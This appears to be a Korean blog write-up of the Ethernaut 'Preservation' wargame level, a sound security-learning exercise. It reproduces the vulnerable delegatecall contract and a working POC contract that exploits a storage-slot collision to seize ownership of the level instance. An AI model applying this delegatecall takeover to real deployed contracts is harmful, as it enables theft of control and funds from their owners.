The Ethernaut - 16. Preservation

Gunter·2024년 10월 30일
0

The Ethernaut

목록 보기
17/26

This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.

The goal of this level is for you to claim ownership of the instance you are given.

Things that might help

Look into Solidity's documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain. libraries, and what implications it has on execution scope.
Understanding what it means for delegatecall to be context-preserving.
Understanding how storage variables are stored and accessed.
Understanding how casting works between different data types.

 


 

The goal of this level is for you to claim ownership of the instance you are given.
= 컨트랙트의 owner() 권한 획득하기

 

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";

contract Preservation {
    // public library contracts
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;
    uint256 storedTime;
    // Sets the function signature for delegatecall
    bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

    constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
        timeZone1Library = _timeZone1LibraryAddress;
        timeZone2Library = _timeZone2LibraryAddress;
        owner = msg.sender;
    }

    // set the time for timezone 1
    function setFirstTime(uint256 _timeStamp) public {
        timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
    }

    // set the time for timezone 2
    function setSecondTime(uint256 _timeStamp) public {
        timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
    }
}

// Simple library contract to set the time
contract LibraryContract {
    // stores a timestamp
    uint256 storedTime;

    function setTime(uint256 _time) public {
        storedTime = _time;
    }
}

contract POC{

    address public t1;
    address public t2;
    address public owner;
    Preservation level16 = Preservation(0xA5CBE70934E8a3CA617aC4b6DF95ff1f131Eb8aC);      

    function run() external {
        level16.setFirstTime(uint256(uint160(address(this))));
        level16.setFirstTime(uint256(uint160(address(this))));
    }

    function setTime(uint _time) public {
        owner = address(0x41482D3f30FfF21308D6c962E167e4Cc8a65576A);
    }

}

0개의 댓글